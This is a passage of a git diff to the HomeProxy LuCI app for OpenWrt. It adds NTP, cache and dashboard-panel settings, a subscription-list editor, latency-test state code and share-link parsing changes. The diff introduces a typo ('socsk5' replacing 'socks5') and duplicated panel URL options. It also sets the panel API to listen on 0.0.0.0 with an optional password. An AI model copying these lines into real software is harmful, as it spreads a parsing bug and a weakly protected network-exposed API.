_('Expecting: %s').format(_('unique value')); + } + + return true; + } + so.modalonly = true; + so = ss.option(form.Flag, 'enabled', _('Enable')); so.default = so.enabled; so.rmempty = false; @@ -1545,9 +1950,9 @@ return view.extend({ so.default = 'binary'; so.rmempty = false; - so = ss.option(form.Value, 'path', _('Path')); + so = ss.option(form.Value, 'path', _('Path'), + _('The default rule set directory is /etc/homeproxy/ruleset/.')); so.datatype = 'file'; - so.placeholder = '/etc/homeproxy/ruleset/example.json'; so.rmempty = false; so.depends('type', 'local'); so.modalonly = true; @@ -1582,7 +1987,6 @@ return view.extend({ this.value('', _('Default')); this.value('direct-out', _('Direct')); - this.value('block-out', _('Block')); uci.sections(data[0], 'routing_node', (res) => { if (res.enabled === '1') this.value(res['.name'], res.label); @@ -1592,15 +1996,129 @@ return view.extend({ } so.depends('type', 'remote'); - so = ss.option(form.Value, 'update_interval', _('Update interval'), - _('Update interval of rule set.')); - so.placeholder = '1d'; + so = ss.option(form.Value, 'remote_path', _('Path')); + so.default = '/etc/homeproxy/ruleset/'; + so.placeholder = '/etc/homeproxy/ruleset/'; + so.validate = function(section_id, value) { + if (!value) + return _('Expecting: %s').format(_('non-empty value')); + if (!value.match(/^\//)) + return _('Expecting: %s').format(_('absolute path')); + + return true; + } + so.rmempty = false; + so.depends('type', 'remote'); + so.modalonly = true; + + so = ss.option(form.Flag, 'auto_update', _('Auto update')); + so.default = '1'; + so.rmempty = false; + so.depends('type', 'remote'); + so.modalonly = true; + + so = ss.option(form.Value, 'update_interval', _('Update time (weekly)')); + so.renderWidget = function() { + return hp.renderCronSelector.apply(this, arguments); + }; + so.default = '0 0 * * *'; + so.rmempty = false; + so.validate = function(section_id, value) { + value = value || this.formvalue(section_id); + if (!validateUpdateCron(value)) + return _('Expecting: %s').format(_('valid cron expression')); + + return true; + }; so.depends('type', 'remote'); /* Rule set settings end */ - /* ACL settings start */ s.tab('control', _('Access Control')); + /* NTP settings start */ + s.tab('ntp', _('NTP Settings')); + o = s.taboption('ntp', form.SectionValue, '_ntp', form.NamedSection, 'ntp', 'homeproxy'); + o.depends('routing_mode', 'custom'); + ss = o.subsection; + + so = ss.option(form.Flag, 'enabled', _('Enable NTP')); + so.default = so.enabled; + so.rmempty = false; + + so = ss.option(form.Value, 'server', _('NTP server address')); + so.default = 'ntp.aliyun.com'; + so.placeholder = 'ntp.aliyun.com'; + so.rmempty = false; + so.validate = function(_section_id, value) { + if (!value) + return _('Expecting: %s').format(_('non-empty value')); + + return stubValidator.apply('hostname', value) || + stubValidator.apply('ip4addr', value) || + stubValidator.apply('ip6addr', value); + }; + so.depends('enabled', '1'); + + so = ss.option(form.Value, 'server_port', _('NTP server port')); + so.default = '123'; + so.placeholder = '123'; + so.datatype = 'port'; + so.rmempty = false; + so.validate = function(_section_id, value) { + if (!value) + return _('Expecting: %s').format(_('non-empty value')); + + return stubValidator.apply('port', value); + }; + so.depends('enabled', '1'); + + so = ss.option(form.Value, 'interval', _('NTP time synchronization interval'), + _('NTP service always uses direct connection and mainly provides accurate time for sing-box features that depend on it, such as TLS certificate verification, VMess, Reality/uTLS and other time-sensitive connection scenarios.') + '
' + + _('Time format examples: 1m = 1 minute, 1h = 1 hour, 1d = 1 day.')); + so.default = '30m'; + so.placeholder = '30m'; + so.rmempty = false; + so.validate = function(_section_id, value) { + if (!value) + return _('Expecting: %s').format(_('non-empty value')); + if (!validateDuration(value)) + return _('Expecting: %s').format(_('valid duration')); + + return true; + }; + so.depends('enabled', '1'); + /* NTP settings end */ + + /* Cache settings start */ + s.tab('cache', _('Persistent Cache Settings')); + o = s.taboption('cache', form.SectionValue, '_cache', form.NamedSection, 'cache', 'homeproxy'); + o.depends('routing_mode', 'custom'); + ss = o.subsection; + + so = ss.option(form.ListValue, 'enabled', _('Enable cache file')); + so.value('1', _('Enable')); + so.value('0', _('Disable')); + so.default = '1'; + so.rmempty = false; + + so = ss.option(form.Value, 'path', _('Persistent cache file path')); + so.placeholder = '/etc/homeproxy/cache.db'; + so.depends('enabled', '1'); + + so = ss.option(form.ListValue, 'store_rdrc', _('Persist RDRC cache')); + so.value('1', _('Enable')); + so.value('0', _('Disable')); + so.default = '1'; + so.rmempty = false; + so.depends('enabled', '1'); + + so = ss.option(form.Value, 'rdrc_timeout', _('RDRC timeout'), + _('Timeout of rejected DNS response cache in seconds. 604800 (7d) is used by default.')); + so.datatype = 'uinteger'; + so.depends({'enabled': '1', 'store_rdrc': '1'}); + /* Cache settings end */ + + /* ACL settings start */ o = s.taboption('control', form.SectionValue, '_control', form.NamedSection, 'control', 'homeproxy'); ss = o.subsection; @@ -1746,6 +2264,101 @@ return view.extend({ /* Direct domain list end */ /* ACL settings end */ + /* Panel settings start */ + s.tab('panel', _('Panel Settings')); + o = s.taboption('panel', form.SectionValue, '_clash_api', form.NamedSection, 'clash_api', 'homeproxy'); + o.depends('routing_mode', 'custom'); + ss = o.subsection; + + so = ss.option(form.Value, 'external_ui', _('UI path')); + so.placeholder = '/etc/homeproxy/run/ui'; + so.default = '/etc/homeproxy/run/ui'; + + const panelPresetUrls = { + 'https://gh-proxy.com/https://github.com/Zephyruso/zashboard/releases/latest/download/dist-cdn-fonts.zip': 'Zashboard CDN Fonts (gh-proxy)', + 'https://github.com/Zephyruso/zashboard/releases/latest/download/dist-cdn-fonts.zip': 'Zashboard CDN Fonts', + 'https://gh-proxy.com/https://github.com/Zephyruso/zashboard/releases/latest/download/dist.zip': 'Zashboard 完整版 (gh-proxy)', + 'https://github.com/Zephyruso/zashboard/releases/latest/download/dist.zip': 'Zashboard 完整版', + 'https://gh-proxy.com/https://github.com/MetaCubeX/metacubexd/archive/refs/heads/gh-pages.zip': 'MetaCubeXD (gh-proxy)', + 'https://github.com/MetaCubeX/metacubexd/archive/refs/heads/gh-pages.zip': 'MetaCubeXD', + 'https://gh-proxy.com/https://github.com/MetaCubeX/Yacd-meta/archive/refs/heads/gh-pages.zip': 'YACD (gh-proxy)', + 'https://github.com/MetaCubeX/Yacd-meta/archive/refs/heads/gh-pages.zip': 'YACD', + 'https://gh-proxy.com/https://github.com/MetaCubeX/Razord-meta/archive/refs/heads/gh-pages.zip': 'Razord (gh-proxy)', + 'https://github.com/MetaCubeX/Razord-meta/archive/refs/heads/gh-pages.zip': 'Razord' + }; + + so = ss.option(form.ListValue, 'external_ui_download_url', _('UI download URL')); + so.value('https://gh-proxy.com/https://github.com/Zephyruso/zashboard/releases/latest/download/dist-cdn-fonts.zip', 'Zashboard CDN Fonts (gh-proxy)'); + so.value('https://github.com/Zephyruso/zashboard/releases/latest/download/dist-cdn-fonts.zip', 'Zashboard CDN Fonts'); + so.value('https://gh-proxy.com/https://github.com/Zephyruso/zashboard/releases/latest/download/dist.zip', 'Zashboard 完整版 (gh-proxy)'); + so.value('https://github.com/Zephyruso/zashboard/releases/latest/download/dist.zip', 'Zashboard 完整版'); + so.value('https://gh-proxy.com/https://github.com/MetaCubeX/metacubexd/archive/refs/heads/gh-pages.zip', 'MetaCubeXD (gh-proxy)'); + so.value('https://github.com/MetaCubeX/metacubexd/archive/refs/heads/gh-pages.zip', 'MetaCubeXD'); + so.value('https://gh-proxy.com/https://github.com/MetaCubeX/Yacd-meta/archive/refs/heads/gh-pages.zip', 'YACD (gh-proxy)'); + so.value('https://github.com/MetaCubeX/Yacd-meta/archive/refs/heads/gh-pages.zip', 'YACD'); + so.value('https://gh-proxy.com/https://github.com/MetaCubeX/Razord-meta/archive/refs/heads/gh-pages.zip', 'Razord (gh-proxy)'); + so.value('https://github.com/MetaCubeX/Razord-meta/archive/refs/heads/gh-pages.zip', 'Razord'); + so.value('https://github.com/MetaCubeX/metacubexd/archive/refs/heads/gh-pages.zip', 'MetaCubeXD'); + so.value('https://gh-proxy.com/https://github.com/MetaCubeX/Yacd-meta/archive/refs/heads/gh-pages.zip', 'YACD (gh-proxy)'); + so.value('https://github.com/MetaCubeX/Yacd-meta/archive/refs/heads/gh-pages.zip', 'YACD'); + so.value('https://gh-proxy.com/https://github.com/MetaCubeX/Razord-meta/archive/refs/heads/gh-pages.zip', 'Razord (gh-proxy)'); + so.value('https://github.com/MetaCubeX/Razord-meta/archive/refs/heads/gh-pages.zip', 'Razord'); + so.value('__custom__', _('Custom')); + so.default = 'https://gh-proxy.com/https://github.com/Zephyruso/zashboard/releases/latest/download/dist-cdn-fonts.zip'; + so.load = function(section_id) { + const value = uci.get(data[0], section_id, 'external_ui_download_url') ?? this.default; + return (value in panelPresetUrls) ? value : '__custom__'; + }; + so.write = function(section_id, value) { + if (value === '__custom__') { + const customValue = (this.section?.formvalue(section_id, 'external_ui_download_url_custom') || '').trim(); + uci.set(data[0], section_id, 'external_ui_download_url', customValue); + } else { + uci.set(data[0], section_id, 'external_ui_download_url', value); + } + }; + + so = ss.option(form.Value, 'external_ui_download_url_custom', _('Custom URL')); + so.placeholder = 'https://example.com/dist.zip'; + so.depends('external_ui_download_url', '__custom__'); + so.load = function(section_id) { + const value = (uci.get(data[0], section_id, 'external_ui_download_url') || '').trim(); + return (value in panelPresetUrls) ? '' : value; + }; + so.write = function(section_id, value) { + uci.set(data[0], section_id, 'external_ui_download_url_custom', (value || '').trim()); + }; + so.remove = function(section_id) { + uci.unset(data[0], section_id, 'external_ui_download_url_custom'); + }; + + so = ss.option(form.ListValue, 'external_ui_download_detour', _('UI download detour')); + so.value('', _('Default')); + so.value('direct-out', _('Direct')); + uci.sections(data[0], 'routing_node', (res) => { + if (res.enabled === '1') + so.value(res['.name'], res.label); + }); + so.default = 'direct-out'; + + so = ss.option(form.Value, 'external_controller', _('API listen'), + _('Use 0.0.0.0:port to open the panel from your browser.')); + so.placeholder = '0.0.0.0:9095'; + so.default = '0.0.0.0:9095'; + so.datatype = 'ipaddrport(1)'; + so.rmempty = false; + + so = ss.option(form.Value, 'secret', _('API password')); + so.password = true; + + so = ss.option(form.ListValue, 'default_mode', _('Default mode')); + so.value('rule', _('Rule')); + so.value('global', _('Global')); + so.value('direct', _('Direct')); + so.default = 'rule'; + so.rmempty = false; + /* Panel settings end */ + return m.render(); } }); diff --git a/luci-app-homeproxy/htdocs/luci-static/resources/view/homeproxy/node.js b/luci-app-homeproxy/htdocs/luci-static/resources/view/homeproxy/node.js index b7b3f8952..5b5b19238 100644 --- a/luci-app-homeproxy/htdocs/luci-static/resources/view/homeproxy/node.js +++ b/luci-app-homeproxy/htdocs/luci-static/resources/view/homeproxy/node.js @@ -6,112 +6,214 @@ 'use strict'; 'require form'; +'require fs'; 'require rpc'; 'require uci'; 'require ui'; 'require view'; 'require homeproxy as hp'; -'require homeproxy.diagnostics as hpDiagnostics'; -'require homeproxy.tcping as hpTcping'; 'require tools.widgets as widgets'; -const callNodeReferences = rpc.declare({ - object: 'luci.homeproxy_node_tools', - method: 'node_references', - params: [ 'node_id' ], - expect: { '': {} } -}); -const callRemoveSubscriptionNodes = rpc.declare({ - object: 'luci.homeproxy_node_tools', - method: 'remove_subscription_nodes', - params: [ 'node_ids' ], - expect: { '': {} } -}); -const callUpdateSubscriptions = rpc.declare({ - object: 'luci.homeproxy_node_tools', - method: 'update_subscriptions', - expect: { '': {} } -}); -const callUpdateSubscriptionsStatus = rpc.declare({ - object: 'luci.homeproxy_node_tools', - method: 'update_subscriptions_status', +const callNodeLatencyTest = rpc.declare({ + object: 'luci.homeproxy', + method: 'node_latency_test', + params: ['node', 'mode'], expect: { '': {} } }); -const SUBSCRIPTION_UPDATE_POLL_INTERVAL = 1000; -const SUBSCRIPTION_UPDATE_POLL_LIMIT = 180; +const callRCInit = rpc.declare({ + object: 'rc', + method: 'init', + params: ['name', 'action'], + expect: { '': {} } +}); -function subscriptionRpcErrorMessage(err, fallback) { - let message = err?.message || err; +function normalizeList(value) { + return Array.isArray(value) ? value : (value ? [value] : []); +} - if (message != null) - message = String(message); +function getSubscriptionInfo(config) { + const urls = normalizeList(uci.get(config, 'subscription', 'subscription_url')), + names = normalizeList(uci.get(config, 'subscription', 'subscription_name')), + info = []; - if (!message || message === 'Unknown error.' || message === '未知错误。') - message = fallback; + for (let i = 0; i < urls.length; i++) { + const url = urls[i], + cleanUrl = String(url || '').replace(/#.*$/, ''), + title = String(names[i] || '').trim(); - let lower = (message || '').toLowerCase(); - if (lower.includes('access denied') || - lower.includes('permission denied') || - lower.includes('ubus') || - lower.includes('rpc') || - lower.includes('session')) { - return _('HomeProxy was just upgraded or rpcd has restarted. The current page session may be expired. Refresh the page or sign in again before retrying.'); + if (!url) + continue; + + info.push({ + hash: hp.calcStringMD5(cleanUrl), + title, + url + }); } - return message || fallback; + return info; } +const SubscriptionList = form.Value.extend({ + __name__: 'CBI.HomeProxySubscriptionList', + + cfgvalue(section_id) { + return { + urls: normalizeList(uci.get('homeproxy', section_id, 'subscription_url')), + names: normalizeList(uci.get('homeproxy', section_id, 'subscription_name')) + }; + }, + + renderWidget(section_id, _option_index, cfgvalue) { + const value = cfgvalue || { urls: [], names: [] }, + rows = E('div', { + id: this.cbid(section_id), + 'class': 'homeproxy-subscription-list', + 'style': 'display: flex; flex-direction: column; gap: .45em; width: min(100%, 42em);' + }); + + rows.appendChild(E('div', { + 'class': 'homeproxy-subscription-header', + 'style': 'display: grid; grid-template-columns: minmax(8em, 13em) minmax(16em, 1fr) auto; gap: .35em; color: var(--text-muted, #6b7280); font-size: 90%;' + }, [ + E('span', {}, [ _('\u8ba2\u9605\u540d\u79f0') ]), + E('span', {}, [ _('\u8ba2\u9605\u5730\u5740') ]), + E('span') + ])); + + const addRow = (name, url) => { + const row = E('div', { + 'class': 'homeproxy-subscription-row', + 'style': 'display: grid; grid-template-columns: minmax(8em, 13em) minmax(16em, 1fr) auto; gap: .35em; align-items: stretch;' + }, [ + E('input', { + 'type': 'text', + 'class': 'cbi-input-text subscription-name', + 'placeholder': _('\u8ba2\u9605\u540d\u79f0'), + 'value': name || '', + 'style': 'width: 100%; box-sizing: border-box;' + }), + E('input', { + 'type': 'text', + 'class': 'cbi-input-text subscription-url', + 'placeholder': _('\u8ba2\u9605\u5730\u5740'), + 'value': url || '', + 'style': 'width: 100%; box-sizing: border-box;' + }), + E('button', { + 'type': 'button', + 'class': 'cbi-button cbi-button-remove', + 'click': () => { + row.remove(); + if (!rows.querySelector('.homeproxy-subscription-row')) + addRow('', ''); + } + }, [ '-' ]) + ]); + + if (rows._addButton) + rows.insertBefore(row, rows._addButton); + else + rows.appendChild(row); + }; + + for (let i = 0; i < Math.max(value.urls.length, 1); i++) + addRow(value.names[i], value.urls[i]); + + rows._addButton = E('button', { + 'type': 'button', + 'class': 'cbi-button cbi-button-add', + 'style': 'width: 3em;', + 'click': () => addRow('', '') + }, [ '+' ]); + rows.appendChild(rows._addButton); + + return rows; + }, + + formvalue(section_id) { + const node = document.getElementById(this.cbid(section_id)), + names = [], + urls = []; + + node?.querySelectorAll('.homeproxy-subscription-row').forEach((row) => { + const name = row.querySelector('.subscription-name')?.value.trim() || '', + url = row.querySelector('.subscription-url')?.value.trim() || ''; + + if (!name && !url) + return; + + names.push(name); + urls.push(url); + }); + + return { names, urls }; + }, + + validate(_section_id, value) { + const names = value?.names || [], + urls = value?.urls || [], + usedNames = {}, + usedUrls = {}; + + if (!names.length || !urls.length) + return _('\u8ba2\u9605\u540d\u79f0\u548c\u8ba2\u9605\u5730\u5740\u4e3a\u5fc5\u586b\u9879'); + + for (let i = 0; i < Math.max(names.length, urls.length); i++) { + const name = String(names[i] || '').trim(), + url = String(urls[i] || '').trim(), + normalizedUrl = url.replace(/#.*$/, ''); + + if (!name || !url) + return _('\u8ba2\u9605\u540d\u79f0\u548c\u8ba2\u9605\u5730\u5740\u5fc5\u987b\u6210\u5bf9\u586b\u5199'); + + if (usedNames[name]) + return _('\u8ba2\u9605\u540d\u79f0\u4e0d\u80fd\u91cd\u590d'); + usedNames[name] = true; + + if (usedUrls[normalizedUrl]) + return _('\u8ba2\u9605\u5730\u5740\u4e0d\u80fd\u91cd\u590d'); + usedUrls[normalizedUrl] = true; + + try { + let parsed = new URL(url); + if (!parsed.hostname) + return _('Expecting: %s').format(_('valid URL')); + } catch(e) { + return _('Expecting: %s').format(_('valid URL')); + } + } + + return true; + }, + + write(section_id, value) { + if (value?.urls?.length) { + uci.set('homeproxy', section_id, 'subscription_url', value.urls); + uci.set('homeproxy', section_id, 'subscription_name', value.names); + } else { + uci.unset('homeproxy', section_id, 'subscription_url'); + uci.unset('homeproxy', section_id, 'subscription_name'); + } + } +}); + function allowInsecureConfirm(ev, _section_id, value) { if (value === '1' && !confirm(_('Are you sure to allow insecure?'))) ev.target.firstElementChild.checked = null; } -function showNodeReferenceNotice(section_id) { - return L.resolveDefault(callNodeReferences(section_id), { result: false, error: _('Unknown error.') }).then((res) => { - if (!res.result) { - ui.addNotification(null, E('p', res.error || _('Failed to check node references. Please try again later.')), 'warning'); - return true; - } +function normalizeHysteriaHoppingPort(mport) { + if (!mport) + return null; - let refs = res.references || []; - if (!refs.length) - return false; - - let label = uci.get('homeproxy', section_id, 'label') || section_id; - ui.addNotification(null, E('div', [ - E('p', _('Node %s is still referenced by these settings. Remove the references before deleting the node.').format(label)), - E('ul', refs.map((ref) => E('li', ref?.label || ref?.scope || ''))) - ]), 'warning'); - - return true; - }).catch((err) => { - ui.addNotification(null, E('p', _('Failed to check node references. Please try again later.')), 'warning'); - return true; - }); -} - -function wait(ms) { - return new Promise((resolve) => window.setTimeout(resolve, ms)); -} - -function pollSubscriptionUpdateStatus(attempt) { - return callUpdateSubscriptionsStatus().catch((err) => { - throw new Error(subscriptionRpcErrorMessage(err, _('Failed to read subscription update status.'))); - }).then((res) => { - if (!res.result) - throw new Error(res.error || _('Failed to read subscription update status.')); - - if (!res.completed) { - if (attempt >= SUBSCRIPTION_UPDATE_POLL_LIMIT) - throw new Error(_('Timed out waiting for subscription update to finish.')); - - return wait(SUBSCRIPTION_UPDATE_POLL_INTERVAL).then(() => pollSubscriptionUpdateStatus(attempt + 1)); - } - - return res; - }); + const ports = mport.split(',') + .map((p) => p.trim()) + .filter((p) => p.length) + .map((p) => (/^\d+$/.test(p) ? `${p}:${p}` : p.replace('-', ':'))); + return ports.length ? ports : null; } function parseShareLink(uri, features) { @@ -124,6 +226,11 @@ function parseShareLink(uri, features) { /* https://github.com/anytls/anytls-go/blob/v0.0.8/docs/uri_scheme.md */ url = new URL('http://' + uri[1]); params = url.searchParams; + let anytls_fp = params.get('fp'); + if (['none', 'disable', 'disabled'].includes(anytls_fp)) + anytls_fp = null; + else if (!anytls_fp) + anytls_fp = 'chrome'; /* Check if password exists */ if (!url.username) @@ -137,7 +244,8 @@ function parseShareLink(uri, features) { password: url.username ? decodeURIComponent(url.username) : null, tls: '1', tls_sni: params.get('sni'), - tls_insecure: (params.get('insecure') === '1') ? '1' : '0' + tls_insecure: (params.get('insecure') === '1' || params.get('allowInsecure') === '1') ? '1' : '0', + tls_utls: features.with_utls ? anytls_fp : null }; break; @@ -170,6 +278,7 @@ function parseShareLink(uri, features) { type: 'hysteria', address: url.hostname, port: url.port || '80', + hysteria_hopping_port: normalizeHysteriaHoppingPort(params.get('mport')), hysteria_protocol: params.get('protocol') || 'udp', hysteria_auth_type: params.get('auth') ? 'string' : null, hysteria_auth_payload: params.get('auth'), @@ -177,9 +286,9 @@ function parseShareLink(uri, features) { hysteria_down_mbps: params.get('downmbps'), hysteria_up_mbps: params.get('upmbps'), tls: '1', + tls_insecure: (params.get('insecure') === '1' || params.get('allowInsecure') === '1') ? '1' : '0', tls_sni: params.get('peer'), - tls_alpn: params.get('alpn'), - tls_insecure: (params.get('insecure') === '1') ? '1' : '0' + tls_alpn: params.get('alpn') }; break; @@ -200,18 +309,19 @@ function parseShareLink(uri, features) { password: url.username ? ( decodeURIComponent(url.username + (url.password ? (':' + url.password) : '')) ) : null, + hysteria_hopping_port: normalizeHysteriaHoppingPort(params.get('mport')), hysteria_obfs_type: params.get('obfs'), hysteria_obfs_password: params.get('obfs-password'), tls: '1', - tls_sni: params.get('sni'), - tls_insecure: params.get('insecure') ? '1' : '0' + tls_insecure: (params.get('insecure') === '1' || params.get('allowInsecure') === '1') ? '1' : '0', + tls_sni: params.get('sni') }; break; case 'socks': case 'socks4': case 'socks4a': - case 'socks5': + case 'socsk5': case 'socks5h': url = new URL('http://' + uri[1]); @@ -307,6 +417,7 @@ function parseShareLink(uri, features) { password: decodeURIComponent(url.username), transport: params.get('type') !== 'tcp' ? params.get('type') : null, tls: '1', + tls_insecure: (params.get('insecure') === '1' || params.get('allowInsecure') === '1') ? '1' : '0', tls_sni: params.get('sni') }; switch (params.get('type')) { @@ -344,6 +455,7 @@ function parseShareLink(uri, features) { tuic_congestion_control: params.get('congestion_control'), tuic_udp_relay_mode: params.get('udp_relay_mode'), tls: '1', + tls_insecure: (params.get('insecure') === '1' || params.get('allowInsecure') === '1') ? '1' : '0', tls_sni: params.get('sni'), tls_alpn: params.get('alpn') ? decodeURIComponent(params.get('alpn')).split(',') : null }; @@ -371,6 +483,7 @@ function parseShareLink(uri, features) { uuid: url.username, transport: params.get('type') !== 'tcp' ? params.get('type') : null, tls: ['tls', 'xtls', 'reality'].includes(params.get('security')) ? '1' : '0', + tls_insecure: (params.get('insecure') === '1' || params.get('allowInsecure') === '1') ? '1' : '0', tls_sni: params.get('sni'), tls_alpn: params.get('alpn') ? decodeURIComponent(params.get('alpn')).split(',') : null, tls_reality: (params.get('security') === 'reality') ? '1' : '0', @@ -483,13 +596,378 @@ function parseShareLink(uri, features) { return config; } -function renderNodeSettings(section, data, features, main_node, routing_mode) { +const NODE_LATENCY_ROW_STATES = Object.freeze({ + UNTESTED: 'untested', + TESTING: 'testing', + SUCCESS: 'success', + TIMEOUT: 'timeout', + ERROR: 'error' +}); + +const NODE_LATENCY_ROW_STATE_VALUES = Object.freeze(Object.values(NODE_LATENCY_ROW_STATES)); +const NODE_LATENCY_TEST_MODES = Object.freeze([ 'icmp', 'rp' ]); + +function remapLegacyNodeLatencyTestMode(mode) { + return mode === 'tcp' ? 'icmp' : mode; +} + +function normalizeNodeLatencyTestMode(mode) { + mode = remapLegacyNodeLatencyTestMode(mode); + return NODE_LATENCY_TEST_MODES.includes(mode) ? mode : 'icmp'; +} + +function resolveNodeLatencyResultByMode(result, mode) { + let active_mode = normalizeNodeLatencyTestMode(mode || result?.mode); + let active_latency_ms = (result && result.latency_ms != null) ? result.latency_ms : null; + let active_error = (result && result.error) ? result.error : null; + let active_state = result?.state; + + if (active_mode === 'icmp') { + if (result && result.icmp_latency_ms != null) + active_latency_ms = result.icmp_latency_ms; + if (result && result.icmp_error) + active_error = result.icmp_error; + } + + if (active_error?.code?.endsWith('_timeout')) + active_state = NODE_LATENCY_ROW_STATES.TIMEOUT; + else if (active_error) + active_state = NODE_LATENCY_ROW_STATES.ERROR; + else if (active_latency_ms != null) + active_state = NODE_LATENCY_ROW_STATES.SUCCESS; + + return { + mode: active_mode, + state: active_state, + latency_ms: active_latency_ms, + error: active_error + }; +} + +function getNodeLatencyErrorText(error_code) { + switch (error_code) { + case 'backend_execution failed': + return _('Backend execution failed'); + case 'icmp_failed': + return _('ICMP Failed'); + case 'icmp_probe_unavailable': + return _('ICMP Probe unavailable'); + case 'icmp_timeout': + return _('ICMP Timeout'); + case 'invalid_node': + return _('Invalid node'); + case 'invalid_response': + return _('Invalid response'); + case 'probe_failed': + return _('Probe failed'); + case 'rpc_failed': + return _('RPC failed'); + default: + return _('Error'); + } +} + +function getNodeLatencyStatusText(row_state) { + if (!row_state) + return _('Not Tested'); + + switch (row_state.state) { + case NODE_LATENCY_ROW_STATES.TESTING: + return _('Testing'); + case NODE_LATENCY_ROW_STATES.SUCCESS: + return (row_state.latency_ms != null) ? _('%s ms').format(row_state.latency_ms) : _('Success'); + case NODE_LATENCY_ROW_STATES.TIMEOUT: + return _('Timeout'); + case NODE_LATENCY_ROW_STATES.ERROR: + return getNodeLatencyErrorText(row_state.error?.code); + case NODE_LATENCY_ROW_STATES.UNTESTED: + default: + return _('Not Tested'); + } +} + +function getNodeLatencyStatusStyle(row_state) { + if (!row_state) + return 'color:gray'; + + switch (row_state.state) { + case NODE_LATENCY_ROW_STATES.TESTING: + return 'color:#0a84ff'; + case NODE_LATENCY_ROW_STATES.SUCCESS: + return 'color:green'; + case NODE_LATENCY_ROW_STATES.TIMEOUT: + return 'color:#ff8c00'; + case NODE_LATENCY_ROW_STATES.ERROR: + return 'color:red'; + case NODE_LATENCY_ROW_STATES.UNTESTED: + default: + return 'color:gray'; + } +} + +function renderNodeLatencyStatus(row_state) { + return '%s'.format(getNodeLatencyStatusStyle(row_state), getNodeLatencyStatusText(row_state)); +} + +function renderNodeLatencyStatusNode(row_state, attrs) { + return E('strong', Object.assign({ + 'style': getNodeLatencyStatusStyle(row_state) + }, attrs || {}), [ getNodeLatencyStatusText(row_state) ]); +} + +function getNodeLatencyActionTitle(row_state) { + return (row_state?.state === NODE_LATENCY_ROW_STATES.TESTING) ? _('Testing') : _('Test'); +} + +function parseNodeLatencySectionId(widget_id) { + let matched = String(widget_id || '').match(/^cbi-homeproxy-(.*)-_test_latency$/); + return matched ? matched[1] : null; +} + +function parseActiveSubscriptionTabId(value) { + let matched = String(value || '').match(/(?:^|[^\w])(sub_[0-9a-f]+)(?:$|[^\w])/i); + return matched ? matched[1] : null; +} + +function parseActiveNodeListTabId(value) { + let matched = String(value || '').match(/(?:^|[^\w])(node|subscription|sub_[0-9a-f]+)(?:$|[^\w])/i); + return matched ? matched[1].toLowerCase() : null; +} + +function getActiveNodeListTabId(root_el) { + let active_tab = null; + let active_tab_nodes = root_el.querySelectorAll('.cbi-tabmenu li.cbi-tab-active, .cbi-tabmenu li.active, .cbi-tabmenu [aria-selected="true"]'); + + for (let node of active_tab_nodes) { + let tab_id = parseActiveNodeListTabId(node?.getAttribute('data-tab')) + || parseActiveNodeListTabId(node?.dataset?.tab) + || parseActiveNodeListTabId(node?.getAttribute('id')); + if (!tab_id && node?.querySelector) + tab_id = parseActiveNodeListTabId(node.querySelector('a')?.getAttribute('href')) + || parseActiveNodeListTabId(node.querySelector('a')?.getAttribute('data-tab')); + + if (tab_id) { + active_tab = tab_id; + break; + } + } + + if (!active_tab) { + let fallback_tab_nodes = root_el.querySelectorAll('.cbi-tabmenu li.cbi-tab[data-tab], .cbi-tabmenu li[data-tab]:not(.cbi-tab-disabled)'); + + for (let node of fallback_tab_nodes) { + let tab_id = parseActiveNodeListTabId(node?.getAttribute('data-tab')) || parseActiveNodeListTabId(node?.dataset?.tab); + if (tab_id) { + active_tab = tab_id; + break; + } + } + } + + return active_tab; +} + +function shouldShowBulkLatencyButton(root_el) { + let active_tab = getActiveNodeListTabId(root_el); + + if (!active_tab) + return false; + + return !!parseActiveSubscriptionTabId(active_tab); +} + +function getActiveSubscriptionTabId(root_el) { + let active_tab = getActiveNodeListTabId(root_el); + return parseActiveSubscriptionTabId(active_tab); +} + +function getActiveSubscriptionTabContainer(root_el, active_tab) { + if (!active_tab) + return null; + + let candidates = []; + for (let selector of [ + '.cbi-tabcontainer[data-tab="%s"]'.format(active_tab), + '[data-tab="%s"]'.format(active_tab), + '[id="tab.%s"]'.format(active_tab), + '[id="tab-%s"]'.format(active_tab), + '[id="%s"]'.format(active_tab) + ]) { + candidates = candidates.concat(Array.from(root_el.querySelectorAll(selector))); + } + + return candidates.find((node) => !node.closest('.cbi-tabmenu') && node.querySelector('div[id$="-_test_latency"]')) || null; +} + +function getActiveSubscriptionLatencySectionIds(root_el) { + let active_tab = getActiveSubscriptionTabId(root_el); + let active_container = getActiveSubscriptionTabContainer(root_el, active_tab); + if (!active_container) + return []; + + let widgets = Array.from(active_container.querySelectorAll('div[id$="-_test_latency"]')); + return widgets.map((node) => parseNodeLatencySectionId(node.id)).filter((sid) => !!sid); +} + +function createNodeLatencyRowStateModel() { + let rows = Object.create(null); + + const buildRowState = (state, result, mode) => { + let resolved_result = resolveNodeLatencyResultByMode(result, mode); + + return { + state: state, + mode: resolved_result.mode, + latency_ms: resolved_result.latency_ms, + icmp_latency_ms: (result && result.icmp_latency_ms != null) ? result.icmp_latency_ms : null, + measured_at: (result && result.measured_at) ? result.measured_at : null, + error: resolved_result.error, + icmp_error: (result && result.icmp_error) ? result.icmp_error : null + }; + }; + + const normalizeState = (state) => { + if (NODE_LATENCY_ROW_STATE_VALUES.includes(state)) + return state; + + return NODE_LATENCY_ROW_STATES.ERROR; + }; + + const ensure = (section_id) => { + if (!section_id) + return buildRowState(NODE_LATENCY_ROW_STATES.UNTESTED, null, 'icmp'); + + if (!rows[section_id]) + rows[section_id] = buildRowState(NODE_LATENCY_ROW_STATES.UNTESTED, null, 'icmp'); + + return rows[section_id]; + }; + + return { + states: NODE_LATENCY_ROW_STATES, + + get: (section_id) => ensure(section_id), + + set: (section_id, state, result, mode) => { + if (!section_id) + return null; + + rows[section_id] = buildRowState(normalizeState(state), result, mode); + return rows[section_id]; + }, + + setFromProbeResult: (section_id, result, mode) => { + if (!section_id) + return null; + + let resolved_result = resolveNodeLatencyResultByMode(result, mode); + let state = resolved_result.state ? normalizeState(resolved_result.state) : NODE_LATENCY_ROW_STATES.ERROR; + rows[section_id] = buildRowState(state, result, mode); + return rows[section_id]; + }, + + clear: (section_id) => { + if (!section_id) + return; + + delete rows[section_id]; + }, + + reset: () => { + rows = Object.create(null); + }, + + snapshot: () => rows + }; +} + +function renderNodeSettings(section, data, features, main_node, routing_mode, node_latency_row_state) { let s = section, o; + if (typeof globalThis !== 'undefined') { + globalThis.__hpNodeLatencySections = globalThis.__hpNodeLatencySections || {}; + globalThis.__hpNodeLatencyTrigger = function(section_id) { + let target = globalThis.__hpNodeLatencySections?.[section_id]; + return target ? 